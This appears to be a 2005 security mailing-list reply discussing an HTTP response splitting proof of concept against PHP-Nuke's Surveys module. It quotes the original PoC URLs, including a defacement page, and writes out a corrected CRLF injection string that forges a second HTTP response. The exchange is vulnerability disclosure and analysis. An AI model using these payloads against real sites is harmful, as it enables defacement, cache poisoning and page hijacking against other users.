On 16 Apr 2005 at 3:30, dcrab wrote: [...] > A simple POC can be as follows, > > http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5 This particular injection isn't really HTTP response splitting. It's basically HTTP header+body injection (and it contains raw spaces in the URL, which is not a good idea). No second (valid) HTTP response is created here. Moreover, since the context is a 302 redirecrtion HTTP response, the HTML data is not rendered by IE (see the thread ?CSS before redirect? by Thomas Schreiber (BugTraq posting), http://www.securityfocus.com/archive/107/336744). If you simply want to demostrate that HTTP header injection is possible (which usually means that HTTP response splitting is posisble), you may want to use the Set-Cookie header (this technique is described in my writeup "Detecting and Testing HTTP Response Splitting Using a Browser" (http://www.securityfocus.com/archive/107/378523). Of course, it IS possible to turn this attack into HTTP response splitting, e.g. by sending the following injection string: %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent- Length:%2061%0d%0a%0d%0a%3Chtml%3EHELLO%20I%20AM%20VULNERABLE%20TO%20 HTTP%20RESPONSE%20SPLITTING%3C/html%3E > > A more serious version involving Cross user defacement, cache poisoning and page hijacking can be, > > http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and can be used for great evils details about which can be read in http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5 > > Again, the above holds. Thanks, -Amit
